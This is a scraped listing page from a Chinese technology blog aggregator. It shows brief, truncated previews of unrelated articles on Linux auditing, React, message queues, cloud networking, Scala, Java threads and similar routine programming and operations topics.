Linux开启命令审计功能记录用户的每一步操作
自由鬼
安全 运维技术 IT应用探讨 linux 运维 服务器
默认情况下,Linux不记录用户的每一步操作到系统级别的日志文件中。但是,Linux确实记录了一些与用户操作相关的信息,并且提供了多种方法来开启更详细的用户操作记录,以满足安全审计或故障排除的需求。一、Linux默认记录的信息:用户登录和退出信息:Linux会记录用户的登录(login)和退出(logout)事件。这些信息通常被记录在/var/log/wtmp和/var/log/btmp文件中。你
目标检测——玉米叶感染数据集
Bryan Ding
人工智能
一、重要性首先,玉米作为世界上重要的粮食作物之一,其生长状况直接影响到粮食产量和粮食安全。玉米叶感染是玉米生长过程中常见的病害之一,会导致玉米叶片出现肿胀、皱缩、扭曲变形等症状,严重时甚至可能形成瘤状物。因此,及早检测玉米叶感染对于保障玉米的健康生长和提高产量具有重要意义。其次,通过玉米叶感染检测,农民和农业科研人员可以及时发现并采取有效的防治措施,防止病害的扩散和加重。这不仅可以减少因病害导致的
【面试题】MQ部分[2025/1/13 ~ 2025/1/19]
5faith
rabbitmq kafka rocketmq 面试 java
MQ部分[2025/1/13~2025/1/19]1.如何处理重复消息?2.如何保证消息的有序性?3.如何处理消息堆积?4.如何保证消息不丢失?5.[RabbitMQ]RabbitMQ怎么实现延迟队列?6.[RabbitMQ]RabbitMQ中消息什么时候会进入死信交换机?7.[RabbitMQ]RabbitMQ中无法路由的消息会去到哪里?8.[RocketMQ]为什么RocketMQ不使用Zoo
react中的useContext--为什么使用(一)
咖啡虫
React react.js 前端 前端框架
React的数据传递流程在React中,数据传递通常是自上而下的,也就是父组件把数据通过props传递给子组件,子组件无法直接修改父组件的数据。例子:父组件向子组件传递数据constParent=()=>{constuser={name:"John",age:24};return;};constChild=({user})=>{return(姓名:{user.name}年龄:{user.age})
前端React篇之哪些方法会触发 React 重新渲染?重新渲染 render 会做些什么?
m0_74823705
前端 react.js javascript
目录哪些方法会触发React重新渲染?重新渲染render会做些什么?setState()案例需求总结forceUpdate()案例需求总结props改变案例需求总结context改变案例需求总结哪些方法会触发React重新渲染?重新渲染render会做些什么?在React中,以下方法会触发重新渲染:setState():当调用组件的setState方法并传入新的状态值时,React会触发重新渲染
React基础教程(06):条件渲染
叁拾舞
React教程 react.js 前端 前端框架
1条件渲染使用条件渲染,结合TodoList案例,进行完善,实现以下功能:当列表中的数据为空的时候,现实提示信息暂无待办事项当列表中存在数据的时候,提示信息消失这里介绍三种实现方式。注意这里的Empty是前端框架Antd的组件,如果安装了antd直接使用即可,如果没有安装可以用div代替也是可以的。这里为了更直观,所以使用了前端框架antd的Empty组件。1、三元操作符{/*方式一*/}{thi
动画 + 大白话讲清楚React渲染原理
梅花十三儿
react.js 前端 javascript
前言相信很多人跟我之前一样,看到源码两个字觉得触不可及,觉得离自己还很遥远,是需要非常多年的工作经验的大佬才能触及到的领域。就在去年我改变了这个想法,当时被react的几个生命周期执行顺序弄的睡不着觉,为什么有些时候生命周期的执行事与愿违?又为什么数组中必须要加上key属性?为啥在render中不能写setState等等问题…在一系列的问题中,我终于还是打开了那份久违的源码,并且Ctrl+F慢慢探
【五.LangChain技术与应用】【31.LangChain ReAct Agent:反应式智能代理的实现】
再见孙悟空_
AI 进阶之旅》 langchain LangChain技术 LangChain输出解析器 人工智能 langchain官方工具 Agent案例2
一、ReActAgent是啥?为什么说它比「普通AI」聪明?想象一下,你让ChatGPT查快递物流,它可能直接编个假单号糊弄你。但换成ReActAgent,它会先推理(Reasoning)需要调用哪个接口,再行动(Action)查询真实数据——这就是ReAct的核心:让AI学会「动脑子」再动手。举个真实案例(参考官方代码改的):fromlangchain.agentsimportTool,init
MySQL 8.0版本JDBC驱动Jar包
m0_74823490
面试 学习路线 阿里巴巴 mysql jar 数据库
MySQL8.0版本JDBC驱动Jar包【下载地址】MySQL8.0版本JDBC驱动Jar包本仓库提供了MySQL8.0版本的JDBC驱动Jar包。此驱动程序专为与MySQL数据库8.0及以上版本交互设计,确保了对最新数据库特性的全面支持,包括窗口函数、JSON操作增强等,并优化了性能和安全性[这里是图片001]项目地址:https://gitcode.com/open-source-toolki
电商智能客服实战(三)-需求感知模块具体实现
power-辰南
企业级AI项目实战 人工智能 NER NLU 自然语言 AI AGENT
电商智能客服实战(一)—概要设计电商智能客服实战(二)需求感知模块模型微调实现一、整体架构设计1.1模块定位需求感知模块作为智能客服系统的前端处理单元,负责对用户输入进行多维度解析,输出结构化语义理解结果,为下游决策引擎提供数据支撑。1.2核心流程图用户输入需求感知模块情感分析NLU意图识别NER实体识别参数提取规划模块AutoGPT生成步骤规则引擎匹配反馈集成工具模块订单查询API工单API知识
《工业控制系统网络安全防护指南》|安全运营
VEDA 卫达信息
网络安全
《工业控制系统网络安全防护指南》工业控制系统作为工业生产运行的基础核心,其网络安全事关企业运营和生产安全、产业链供应链安全稳定、经济社会运行和国家安全。随着工业企业数字化转型步伐加快,工业控制系统开放互联趋势明显,工业企业面临的网络安全风险与日俱增,工业企业加强网络安全防护需求迫切。2016年,工业和信息化部出台《工业控制系统信息安全防护指南》,对有效指导工业企业开展工控安全防护工作发挥了积极作用
前端本地储存的方式汇总
懒羊羊我小弟
前端框架 javascript js 浏览器 web app 小程序
JavaScript本地存储是Web开发中用于在客户端存储数据的重要技术,以下是常见方式及其区别和应用场景:一、WEB浏览器本地存储方式及特点1.1储存方式1.Cookie存储容量:约4KB(每个域名)。生命周期:可设置过期时间;默认随会话结束失效。作用域:同源页面共享。访问方式:通过document.cookie读写,每次HTTP请求自动携带。特点:支持服务器端操作(通过HTTP头),但存储效率
网络安全中解码图片是什么
Hacker_Nightrain
fpga开发 web安全 网络
huffman解码是JPEG图片解码里面的关键步骤,也是最复杂的一步。在fsm模块中DHT状态下读取的不仅仅是huffman表,还有另外两个表,一个是存放1-16不同码长的最小编码的一个表,另一个是存放最小编码的地址的表。在huffman解码中需要用到这两个表,还有在本模块也集成了反量化模块。huffman解码的步骤:(1):判断解码数据的类型选择与之对应的表。(2):进行码长的判断。(3):计算
鱼哥好书分享活动第32期:筑牢云安全防线:《eBPF云原生安全》实战指南
落寞的魚丶
赠书福利活动 鱼哥好书分享第32期 云原生安全 网络安全
鱼哥好书分享活动第32期:筑牢云安全防线:《eBPF云原生安全》实战指南内容简介:大概目录:了解更多:赠书抽奖规则:eBPF技术已经成为云原生社区近年来备受关注的技术话题之一。在云原生领域,越来越多的项目和产品开始使用eBPF技术来构建其核心能力,涉及可观测性、网络和安全等关键领域。《eBPF云原生安全:原理与实践》内容涵盖eBPF的工作原理、eBPF在云原生安全领域的应用、知名eBPF云原生安全
Akamai虚拟专用云(VPC)是什么,有什么用?
Akamai中国
云计算 云原生 云计算 云服务 云平台 分布式云 Akamai
最近,AkamaiCloud平台隆重推出了虚拟专用云(VirtualPrivateCloud,VPC)服务。这是AkamaiCloud的一次重要革新,凸显了我们为开发者提供先进、安全、灵活的解决方案的不懈承诺。那么VPC到底是什么?能给用户带来哪些好处?继续阅读下文吧。AkamaiVPC是什么?VPC是AkamaiCloud中隔离出来的网络。借此,云资源能够以私密的方式通信,并能对云资源的公共互联
私有IP、VLAN和VPC,分别适合哪些场景你知道吗?
Akamai中国
云计算 tcp/ip 网络协议 网络 云计算 云平台 云服务 VPC
当我们在云中构建应用程序,尤其是使用了第三方云服务商的服务并且我们无法完全掌控后端的每部分时,安全性可能是最需要关注的地方。但这是一项充满挑战的工作,因为保护应用程序的方法实在是太多了!为了改善安全性,开发者可能会使用大量工具和资源,以至于我们也许很难理解和选择所需的内容。这就像给购物狂人一张无限额的信用卡然后把Ta丢在高档购物中心里一样!说真的,确实会有点让人感觉不知所措。我们会面临各种选择:I
黑客攻击和入侵的八大常用手段有哪些?
~小羊没烦恼~
php 开发语言 数据库 安全 网络 web安全 服务器
此文章主要向大家讲述的是黑客攻击与入侵的八个常用手段,现在合格攻击的手段早已不仅仅是早期刚出现如病毒、木马、以及间谍软件与网络监听、口令攻击、漏洞攻击等这些攻击手段。黑客攻击技术近年来的最新动态是什么?来,一起看看黑客攻击和入侵的8枪——八大手段。第一枪:硬件安全利用硬件的黑客技术虽然报道不多,但它的的确确出现了:在BIOS芯片中植入病毒木马,让目前的防火墙、防毒软件都失效;针对主机板上的电磁辐射
前端基础之全局事件总线
青红光硫化黑
前端 vue.js javascript
用于实现任意组件中的通信,我们可以将数据放入到Vue原型中,这样就能实现vc与vm都能访问该数据我们需要一个能使用去使用$on或是$emit这里方法的东西,vc与vm都能调用这个方法,但是vm与vm最终在创建时都需要去寻找Vue的原型对象,所以说我们可以直接把Vue的原型对象当作是这个中间人bus在beforeCreate中我们就能去申明这个中间人将Student.vue中的信息发送给School
自己的网页加一个搜索框,调用deepseek的API
Lkkkkkkkcy
java vue
一切源于一个学习黑马程序员视频的突发奇想在网页悬浮一个搜索按钮,点击可以实现调用deepseek文本模型回答你的问题前端实现前端使用vue实现的首先是整体页面:AIWidget.vue搜索{{item}}暂无搜索结果import{ref,watch}from"vue";import{Search}from"@element-plus/icons-vue";import{ElMessage}from
去中心化存储的新纪元:Python与IPFS的完美结合
Echo_Wish
Python! 实战! 去中心化 python 区块链
去中心化存储的新纪元:Python与IPFS的完美结合在数据爆炸的时代,存储和共享数据的方式正在发生革命性的变化。传统的中心化存储方案虽然广泛应用,但其安全性、可靠性和可扩展性却始终存在挑战。与此同时,去中心化存储方案正在逐渐兴起,并展现出巨大的潜力。本文将围绕Python与IPFS(InterPlanetaryFileSystem)的结合,探讨如何构建高效的去中心化存储解决方案。为什么选择去中心
利用golang embed特性嵌入前端资源问题解决
Iam0x17
golang 前端
embed嵌入前端资源,配置前端路由的代码如下funcStartHttpService(portstring,assetsFsembed.FS)error{//r:=gin.Default()gin.SetMode(gin.ReleaseMode)r:=gin.New()r.Use(CORSMiddleware())//静态文件服务dist,err:=fs.Sub(assetsFs,"assets
项目中 枚举与注解的结合使用
飞翔的马甲
java enum annotation
前言:版本兼容,一直是迭代开发头疼的事,最近新版本加上了支持新题型,如果新创建一份问卷包含了新题型,那旧版本客户端就不支持,如果新创建的问卷不包含新题型,那么新旧客户端都支持。这里面我们通过给问卷类型枚举增加自定义注解的方式完成。顺便巩固下枚举与注解。
一、枚举
1.在创建枚举类的时候,该类已继承java.lang.Enum类,所以自定义枚举类无法继承别的类,但可以实现接口。
【Scala十七】Scala核心十一:下划线_的用法
bit1129
scala
下划线_在Scala中广泛应用,_的基本含义是作为占位符使用。_在使用时是出问题非常多的地方,本文将不断完善_的使用场景以及所表达的含义
1. 在高阶函数中使用
scala> val list = List(-3,8,7,9)
list: List[Int] = List(-3, 8, 7, 9)
scala> list.filter(_ > 7)
r
web缓存基础:术语、http报头和缓存策略
dalan_123
Web
对于很多人来说,去访问某一个站点,若是该站点能够提供智能化的内容缓存来提高用户体验,那么最终该站点的访问者将络绎不绝。缓存或者对之前的请求临时存储,是http协议实现中最核心的内容分发策略之一。分发路径中的组件均可以缓存内容来加速后续的请求,这是受控于对该内容所声明的缓存策略。接下来将讨web内容缓存策略的基本概念,具体包括如如何选择缓存策略以保证互联网范围内的缓存能够正确处理的您的内容,并谈论下
crontab 问题
周凡杨
linux crontab unix
一: 0481-079 Reached a symbol that is not expected.
背景:
*/5 * * * * /usr/IBMIHS/rsync.sh
让tomcat支持2级域名共享session
g21121
session
tomcat默认情况下是不支持2级域名共享session的,所有有些情况下登陆后从主域名跳转到子域名会发生链接session不相同的情况,但是只需修改几处配置就可以了。
打开tomcat下conf下context.xml文件
找到Context标签,修改为如下内容
如果你的域名是www.test.com
<Context sessionCookiePath="/path&q
web报表工具FineReport常用函数的用法总结(数学和三角函数)
老A不折腾
Web finereport 总结
ABS
ABS(number):返回指定数字的绝对值。绝对值是指没有正负符号的数值。
Number:需要求出绝对值的任意实数。
示例:
ABS(-1.5)等于1.5。
ABS(0)等于0。
ABS(2.5)等于2.5。
ACOS
ACOS(number):返回指定数值的反余弦值。反余弦值为一个角度,返回角度以弧度形式表示。
Number:需要返回角
linux 启动java进程 sh文件
墙头上一根草
linux shell jar
#!/bin/bash
#初始化服务器的进程PId变量
user_pid=0;
robot_pid=0;
loadlort_pid=0;
gateway_pid=0;
#########
#检查相关服务器是否启动成功
#说明:
#使用JDK自带的JPS命令及grep命令组合,准确查找pid
#jps 加 l 参数,表示显示java的完整包路径
#使用awk,分割出pid
我的spring学习笔记5-如何使用ApplicationContext替换BeanFactory
aijuans
Spring 3 系列
如何使用ApplicationContext替换BeanFactory?
package onlyfun.caterpillar.device;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.xml.XmlBeanFactory;
import
Linux 内存使用方法详细解析
annan211
linux 内存 Linux内存解析
来源 http://blog.jobbole.com/45748/
我是一名程序员,那么我在这里以一个程序员的角度来讲解Linux内存的使用。
一提到内存管理,我们头脑中闪出的两个概念,就是虚拟内存,与物理内存。这两个概念主要来自于linux内核的支持。
Linux在内存管理上份为两级,一级是线性区,类似于00c73000-00c88000,对应于虚拟内存,它实际上不占用
数据库的单表查询常用命令及使用方法(-)
百合不是茶
oracle 函数 单表查询
创建数据库;
--建表
create table bloguser(username varchar2(20),userage number(10),usersex char(2));
创建bloguser表,里面有三个字段
&nbs
多线程基础知识
bijian1013
java 多线程 thread java多线程
一.进程和线程
进程就是一个在内存中独立运行的程序,有自己的地址空间。如正在运行的写字板程序就是一个进程。
“多任务”:指操作系统能同时运行多个进程(程序)。如WINDOWS系统可以同时运行写字板程序、画图程序、WORD、Eclipse等。
线程:是进程内部单一的一个顺序控制流。
线程和进程
a. 每个进程都有独立的
fastjson简单使用实例
bijian1013
fastjson
一.简介
阿里巴巴fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库;包括“序列化”和“反序列化”两部分,它具备如下特征:
【RPC框架Burlap】Spring集成Burlap
bit1129
spring
Burlap和Hessian同属于codehaus的RPC调用框架,但是Burlap已经几年不更新,所以Spring在4.0里已经将Burlap的支持置为Deprecated,所以在选择RPC框架时,不应该考虑Burlap了。
这篇文章还是记录下Burlap的用法吧,主要是复制粘贴了Hessian与Spring集成一文,【RPC框架Hessian四】Hessian与Spring集成
【Mahout一】基于Mahout 命令参数含义
bit1129
Mahout
1. mahout seqdirectory
$ mahout seqdirectory
--input (-i) input Path to job input directory(原始文本文件).
--output (-o) output The directory pathna
linux使用flock文件锁解决脚本重复执行问题
ronin47
linux lock 重复执行
linux的crontab命令,可以定时执行操作,最小周期是每分钟执行一次。关于crontab实现每秒执行可参考我之前的文章《linux crontab 实现每秒执行》现在有个问题,如果设定了任务每分钟执行一次,但有可能一分钟内任务并没有执行完成,这时系统会再执行任务。导致两个相同的任务在执行。
例如:
<?
//
test
.php
java-74-数组中有一个数字出现的次数超过了数组长度的一半,找出这个数字
bylijinnan
java
public class OcuppyMoreThanHalf {
/**
* Q74 数组中有一个数字出现的次数超过了数组长度的一半,找出这个数字
* two solutions:
* 1.O(n)
* see <beauty of coding>--每次删除两个不同的数字,不改变数组的特性
* 2.O(nlogn)
* 排序。中间
linux 系统相关命令
candiio
linux
系统参数
cat /proc/cpuinfo cpu相关参数
cat /proc/meminfo 内存相关参数
cat /proc/loadavg 负载情况
性能参数
1)top
M:按内存使用排序
P:按CPU占用排序
1:显示各CPU的使用情况
k:kill进程
o:更多排序规则
回车:刷新数据
2)ulimit
ulimit -a:显示本用户的系统限制参
[经营与资产]保持独立性和稳定性对于软件开发的重要意义
comsci
软件开发
一个软件的架构从诞生到成熟,中间要经过很多次的修正和改造
如果在这个过程中,外界的其它行业的资本不断的介入这种软件架构的升级过程中
那么软件开发者原有的设计思想和开发路线
在CentOS5.5上编译OpenJDK6
Cwind
linux OpenJDK
几番周折终于在自己的CentOS5.5上编译成功了OpenJDK6,将编译过程和遇到的问题作一简要记录,备查。
0. OpenJDK介绍
OpenJDK是Sun(现Oracle)公司发布的基于GPL许可的Java平台的实现。其优点:
1、它的核心代码与同时期Sun(-> Oracle)的产品版基本上是一样的,血统纯正,不用担心性能问题,也基本上没什么兼容性问题;(代码上最主要的差异是
java乱码问题
dashuaifu
java乱码问题 js中文乱码
swfupload上传文件参数值为中文传递到后台接收中文乱码 在js中用setPostParams({"tag" : encodeURI( document.getElementByIdx_x("filetag").value,"utf-8")});
然后在servlet中String t
cygwin很多命令显示command not found的解决办法
dcj3sjt126com
cygwin
cygwin很多命令显示command not found的解决办法
修改cygwin.BAT文件如下
@echo off
D:
set CYGWIN=tty notitle glob
set PATH=%PATH%;d:\cygwin\bin;d:\cygwin\sbin;d:\cygwin\usr\bin;d:\cygwin\usr\sbin;d:\cygwin\us
[介绍]从 Yii 1.1 升级
dcj3sjt126com
PHP yii2
2.0 版框架是完全重写的,在 1.1 和 2.0 两个版本之间存在相当多差异。因此从 1.1 版升级并不像小版本间的跨越那么简单,通过本指南你将会了解两个版本间主要的不同之处。
如果你之前没有用过 Yii 1.1,可以跳过本章,直接从"入门篇"开始读起。
请注意,Yii 2.0 引入了很多本章并没有涉及到的新功能。强烈建议你通读整部权威指南来了解所有新特性。这样有可能会发
Linux SSH免登录配置总结
eksliang
ssh-keygen Linux SSH免登录认证 Linux SSH互信
转载请出自出处:http://eksliang.iteye.com/blog/2187265 一、原理
我们使用ssh-keygen在ServerA上生成私钥跟公钥,将生成的公钥拷贝到远程机器ServerB上后,就可以使用ssh命令无需密码登录到另外一台机器ServerB上。
生成公钥与私钥有两种加密方式,第一种是
手势滑动销毁Activity
gundumw100
android
老是效仿ios,做android的真悲催!
有需求:需要手势滑动销毁一个Activity
怎么办尼?自己写?
不用~,网上先问一下百度。
结果:
http://blog.csdn.net/xiaanming/article/details/20934541
首先将你需要的Activity继承SwipeBackActivity,它会在你的布局根目录新增一层SwipeBackLay
JavaScript变换表格边框颜色
ini
JavaScript html Web html5 css
效果查看:http://hovertree.com/texiao/js/2.htm代码如下,保存到HTML文件也可以查看效果:
<html>
<head>
<meta charset="utf-8">
<title>表格边框变换颜色代码-何问起</title>
</head>
<body&
Kafka Rest : Confluent
kane_xie
kafka REST confluent
最近拿到一个kafka rest的需求,但kafka暂时还没有提供rest api(应该是有在开发中,毕竟rest这么火),上网搜了一下,找到一个Confluent Platform,本文简单介绍一下安装。
这里插一句,给大家推荐一个九尾搜索,原名叫谷粉SOSO,不想fanqiang谷歌的可以用这个。以前在外企用谷歌用习惯了,出来之后用度娘搜技术问题,那匹配度简直感人。
环境声明:Ubu
Calender不是单例
men4661273
单例 Calender
在我们使用Calender的时候,使用过Calendar.getInstance()来获取一个日期类的对象,这种方式跟单例的获取方式一样,那么它到底是不是单例呢,如果是单例的话,一个对象修改内容之后,另外一个线程中的数据不久乱套了吗?从试验以及源码中可以得出,Calendar不是单例。
测试:
Calendar c1 =
线程内存和主内存之间联系
qifeifei
java thread
1, java多线程共享主内存中变量的时候,一共会经过几个阶段,
lock:将主内存中的变量锁定,为一个线程所独占。
unclock:将lock加的锁定解除,此时其它的线程可以有机会访问此变量。
read:将主内存中的变量值读到工作内存当中。
load:将read读取的值保存到工作内存中的变量副本中。
schedule和scheduleAtFixedRate
tangqi609567707
java timer schedule
原文地址:http://blog.csdn.net/weidan1121/article/details/527307
import java.util.Timer;import java.util.TimerTask;import java.util.Date;
/** * @author vincent */public class TimerTest {
erlang 部署
wudixiaotie
erlang
1.如果在启动节点的时候报这个错 :
{"init terminating in do_boot",{'cannot load',elf_format,get_files}}
则需要在reltool.config中加入
{app, hipe, [{incl_cond, exclude}]},
2.当generate时,遇到:
ERROR